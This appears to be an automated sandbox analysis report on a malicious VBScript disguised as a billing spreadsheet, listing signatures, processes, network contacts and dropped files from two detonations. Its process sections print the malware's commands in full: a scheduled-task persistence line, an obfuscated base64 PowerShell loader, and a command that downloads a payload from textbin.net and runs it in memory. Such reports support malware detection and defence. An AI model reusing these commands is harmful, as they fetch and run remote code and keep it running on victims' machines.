Malware Analysis Report

2025-06-16 01:16

Sample ID 231212-swhgwshad3
Target Billed-report2023xls.vbs
SHA256 da59502967c26be14e52f229feb80beb4672ad5454eb943969f1da9a21815886
Tags
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

da59502967c26be14e52f229feb80beb4672ad5454eb943969f1da9a21815886

Threat Level: Known bad

The file Billed-report2023xls.vbs was found to be: Known bad.

Malicious Activity Summary


Blocklisted process makes network request

Checks computer location settings

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Uses Task Scheduler COM API

Creates scheduled task(s)

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-12-12 15:28

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-12-12 15:28

Reported

2023-12-12 15:31

Platform

win7-20231025-en

Max time kernel

122s

Max time network

125s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Billed-report2023xls.vbs"

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2952 wrote to memory of 2164 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\schtasks.exe
PID 2952 wrote to memory of 2164 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\schtasks.exe
PID 2952 wrote to memory of 2164 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\schtasks.exe
PID 2952 wrote to memory of 2068 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\schtasks.exe
PID 2952 wrote to memory of 2068 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\schtasks.exe
PID 2952 wrote to memory of 2068 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\schtasks.exe
PID 2952 wrote to memory of 2396 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2952 wrote to memory of 2396 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2952 wrote to memory of 2396 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2396 wrote to memory of 2904 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2396 wrote to memory of 2904 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2396 wrote to memory of 2904 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Billed-report2023xls.vbs"

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /delete /tn mi /f

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /tn mi /tr "C:\Users\Admin\AppData\Local\Temp\mi.vbs" /sc minute /mo mi

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $dgUdYL = 'J▒Bu▒Hg▒d▒Bv▒Ho▒I▒▒9▒C▒▒Jw▒w▒DM▒N▒▒n▒Ds▒J▒B3▒G0▒Z▒B0▒H▒▒I▒▒9▒C▒▒Jw▒l▒H▒▒egBB▒GM▒TwBn▒Ek▒bgBN▒HI▒JQ▒n▒Ds▒WwBC▒Hk▒d▒Bl▒Fs▒XQBd▒C▒▒J▒Bu▒HY▒ZQBi▒Gg▒I▒▒9▒C▒▒WwBz▒Hk▒cwB0▒GU▒bQ▒u▒EM▒bwBu▒HY▒ZQBy▒HQ▒XQ▒6▒Do▒RgBy▒G8▒bQBC▒GE▒cwBl▒DY▒N▒BT▒HQ▒cgBp▒G4▒Zw▒o▒C▒▒K▒BO▒GU▒dw▒t▒E8▒YgBq▒GU▒YwB0▒C▒▒TgBl▒HQ▒LgBX▒GU▒YgBD▒Gw▒aQBl▒G4▒d▒▒p▒C4▒R▒Bv▒Hc▒bgBs▒G8▒YQBk▒FM▒d▒By▒Gk▒bgBn▒Cg▒I▒▒o▒E4▒ZQB3▒C0▒TwBi▒Go▒ZQBj▒HQ▒I▒BO▒GU▒d▒▒u▒Fc▒ZQBi▒EM▒b▒Bp▒GU▒bgB0▒Ck▒LgBE▒G8▒dwBu▒Gw▒bwBh▒GQ▒UwB0▒HI▒aQBu▒Gc▒K▒▒n▒Gg▒d▒B0▒H▒▒cw▒6▒C8▒LwB0▒GU▒e▒B0▒GI▒aQBu▒C4▒bgBl▒HQ▒LwBy▒GE▒dw▒v▒GU▒egBq▒G0▒bwBm▒Ho▒MwBz▒DY▒Jw▒p▒C▒▒KQ▒g▒Ck▒OwBb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QQBw▒H▒▒R▒Bv▒G0▒YQBp▒G4▒XQ▒6▒Do▒QwB1▒HI▒cgBl▒G4▒d▒BE▒G8▒bQBh▒Gk▒bg▒u▒Ew▒bwBh▒GQ▒K▒▒k▒G4▒dgBl▒GI▒a▒▒p▒C4▒RwBl▒HQ▒V▒B5▒H▒▒ZQ▒o▒Cc▒TQBh▒HI▒YQBj▒GE▒aQBi▒G8▒LgBD▒Gw▒YQBz▒HM▒MQ▒n▒Ck▒LgBH▒GU▒d▒BN▒GU▒d▒Bo▒G8▒Z▒▒o▒Cc▒TQBz▒HE▒QgBJ▒GI▒WQ▒n▒Ck▒LgBJ▒G4▒dgBv▒Gs▒ZQ▒o▒CQ▒bgB1▒Gw▒b▒▒s▒C▒▒WwBv▒GI▒agBl▒GM▒d▒Bb▒F0▒XQ▒g▒Cg▒Jw▒w▒C8▒d▒BU▒FM▒VQBY▒C8▒Z▒▒v▒GU▒ZQ▒u▒GU▒d▒Bz▒GE▒c▒▒v▒C8▒OgBz▒H▒▒d▒B0▒Gg▒Jw▒g▒Cw▒I▒▒k▒Hc▒bQBk▒HQ▒c▒▒g▒Cw▒I▒▒n▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒Xw▒t▒C0▒LQ▒t▒C0▒LQ▒t▒Cc▒L▒▒g▒CQ▒bgB4▒HQ▒bwB6▒Cw▒I▒▒n▒DE▒Jw▒s▒C▒▒JwBS▒G8▒Z▒Bh▒Cc▒I▒▒p▒Ck▒Ow▒=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $dgUdYL.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\Billed-report2023xls.vbs');powershell -command $KByHL;

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$nxtoz = '034';$wmdtp = 'C:\Users\Admin\AppData\Local\Temp\Billed-report2023xls.vbs';[Byte[]] $nvebh = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('https://textbin.net/raw/ezjmofz3s6') ) );[system.AppDomain]::CurrentDomain.Load($nvebh).GetType('Maracaibo.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('0/tTSUX/d/ee.etsap//:sptth' , $wmdtp , '____________________________________________-------', $nxtoz, '1', 'Roda' ));"

Network

Country Destination Domain Proto
US 8.8.8.8:53 textbin.net udp
US 148.72.177.212:443 textbin.net tcp
US 148.72.177.212:443 textbin.net tcp

Files

memory/2396-5-0x000000001B290000-0x000000001B572000-memory.dmp

memory/2396-8-0x0000000002770000-0x00000000027F0000-memory.dmp

memory/2396-7-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp

memory/2396-6-0x0000000002400000-0x0000000002408000-memory.dmp

memory/2396-9-0x0000000002770000-0x00000000027F0000-memory.dmp

memory/2396-10-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp

memory/2396-11-0x0000000002770000-0x00000000027F0000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 a7e36bd71df2e0eae44b62ea1fb75df6
SHA1 2478b074b55dac09321add40b370477dd63daddf
SHA256 17e678eaad378c7fe60c0cfdacb9e19d2597a506eae5101aa7407f1fbba9c4d9
SHA512 ec70d2810b8db33e78f7cc226c4c44bfdfc4925b534e92965c028db275d108915f04a1d2de86dd905137d9fdda4e133ebf16d5b6b6f4e8904228f33993a4755f

memory/2904-17-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp

memory/2904-18-0x0000000002A00000-0x0000000002A80000-memory.dmp

memory/2904-19-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp

memory/2904-20-0x0000000002A00000-0x0000000002A80000-memory.dmp

memory/2904-21-0x0000000002A00000-0x0000000002A80000-memory.dmp

memory/2904-22-0x0000000002A00000-0x0000000002A80000-memory.dmp

memory/2396-23-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp

memory/2396-24-0x0000000002770000-0x00000000027F0000-memory.dmp

memory/2396-25-0x0000000002770000-0x00000000027F0000-memory.dmp

memory/2396-26-0x0000000002770000-0x00000000027F0000-memory.dmp

memory/2904-27-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp

memory/2904-28-0x0000000002A00000-0x0000000002A80000-memory.dmp

memory/2396-29-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-12-12 15:28

Reported

2023-12-12 15:31

Platform

win10v2004-20231130-en

Max time kernel

125s

Max time network

53s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Billed-report2023xls.vbs"

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-433534792-1200107535-3148087551-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Billed-report2023xls.vbs"

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /delete /tn mi /f

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /tn mi /tr "C:\Users\Admin\AppData\Local\Temp\mi.vbs" /sc minute /mo mi

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $dgUdYL = 'J▒Bu▒Hg▒d▒Bv▒Ho▒I▒▒9▒C▒▒Jw▒w▒DM▒N▒▒n▒Ds▒J▒B3▒G0▒Z▒B0▒H▒▒I▒▒9▒C▒▒Jw▒l▒H▒▒egBB▒GM▒TwBn▒Ek▒bgBN▒HI▒JQ▒n▒Ds▒WwBC▒Hk▒d▒Bl▒Fs▒XQBd▒C▒▒J▒Bu▒HY▒ZQBi▒Gg▒I▒▒9▒C▒▒WwBz▒Hk▒cwB0▒GU▒bQ▒u▒EM▒bwBu▒HY▒ZQBy▒HQ▒XQ▒6▒Do▒RgBy▒G8▒bQBC▒GE▒cwBl▒DY▒N▒BT▒HQ▒cgBp▒G4▒Zw▒o▒C▒▒K▒BO▒GU▒dw▒t▒E8▒YgBq▒GU▒YwB0▒C▒▒TgBl▒HQ▒LgBX▒GU▒YgBD▒Gw▒aQBl▒G4▒d▒▒p▒C4▒R▒Bv▒Hc▒bgBs▒G8▒YQBk▒FM▒d▒By▒Gk▒bgBn▒Cg▒I▒▒o▒E4▒ZQB3▒C0▒TwBi▒Go▒ZQBj▒HQ▒I▒BO▒GU▒d▒▒u▒Fc▒ZQBi▒EM▒b▒Bp▒GU▒bgB0▒Ck▒LgBE▒G8▒dwBu▒Gw▒bwBh▒GQ▒UwB0▒HI▒aQBu▒Gc▒K▒▒n▒Gg▒d▒B0▒H▒▒cw▒6▒C8▒LwB0▒GU▒e▒B0▒GI▒aQBu▒C4▒bgBl▒HQ▒LwBy▒GE▒dw▒v▒GU▒egBq▒G0▒bwBm▒Ho▒MwBz▒DY▒Jw▒p▒C▒▒KQ▒g▒Ck▒OwBb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QQBw▒H▒▒R▒Bv▒G0▒YQBp▒G4▒XQ▒6▒Do▒QwB1▒HI▒cgBl▒G4▒d▒BE▒G8▒bQBh▒Gk▒bg▒u▒Ew▒bwBh▒GQ▒K▒▒k▒G4▒dgBl▒GI▒a▒▒p▒C4▒RwBl▒HQ▒V▒B5▒H▒▒ZQ▒o▒Cc▒TQBh▒HI▒YQBj▒GE▒aQBi▒G8▒LgBD▒Gw▒YQBz▒HM▒MQ▒n▒Ck▒LgBH▒GU▒d▒BN▒GU▒d▒Bo▒G8▒Z▒▒o▒Cc▒TQBz▒HE▒QgBJ▒GI▒WQ▒n▒Ck▒LgBJ▒G4▒dgBv▒Gs▒ZQ▒o▒CQ▒bgB1▒Gw▒b▒▒s▒C▒▒WwBv▒GI▒agBl▒GM▒d▒Bb▒F0▒XQ▒g▒Cg▒Jw▒w▒C8▒d▒BU▒FM▒VQBY▒C8▒Z▒▒v▒GU▒ZQ▒u▒GU▒d▒Bz▒GE▒c▒▒v▒C8▒OgBz▒H▒▒d▒B0▒Gg▒Jw▒g▒Cw▒I▒▒k▒Hc▒bQBk▒HQ▒c▒▒g▒Cw▒I▒▒n▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒Xw▒t▒C0▒LQ▒t▒C0▒LQ▒t▒Cc▒L▒▒g▒CQ▒bgB4▒HQ▒bwB6▒Cw▒I▒▒n▒DE▒Jw▒s▒C▒▒JwBS▒G8▒Z▒Bh▒Cc▒I▒▒p▒Ck▒Ow▒=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $dgUdYL.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\Billed-report2023xls.vbs');powershell -command $KByHL;

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$nxtoz = '034';$wmdtp = 'C:\Users\Admin\AppData\Local\Temp\Billed-report2023xls.vbs';[Byte[]] $nvebh = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('https://textbin.net/raw/ezjmofz3s6') ) );[system.AppDomain]::CurrentDomain.Load($nvebh).GetType('Maracaibo.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('0/tTSUX/d/ee.etsap//:sptth' , $wmdtp , '____________________________________________-------', $nxtoz, '1', 'Roda' ));"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 textbin.net udp

Files

memory/4356-2-0x00007FF91F7C0000-0x00007FF920281000-memory.dmp

memory/4356-1-0x000001DD37F40000-0x000001DD37F62000-memory.dmp

memory/4356-3-0x000001DD37F70000-0x000001DD37F80000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ymfrjxt1.rlt.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4356-4-0x000001DD37F70000-0x000001DD37F80000-memory.dmp

memory/2816-23-0x00007FF91F7C0000-0x00007FF920281000-memory.dmp

memory/2816-24-0x000001BA6EDC0000-0x000001BA6EDD0000-memory.dmp

memory/2816-25-0x000001BA6EDC0000-0x000001BA6EDD0000-memory.dmp

memory/2816-26-0x000001BA6EDC0000-0x000001BA6EDD0000-memory.dmp

memory/2816-29-0x00007FF91F7C0000-0x00007FF920281000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 1a11402783a8686e08f8fa987dd07bca
SHA1 580df3865059f4e2d8be10644590317336d146ce
SHA256 9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0
SHA512 5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

memory/4356-33-0x00007FF91F7C0000-0x00007FF920281000-memory.dmp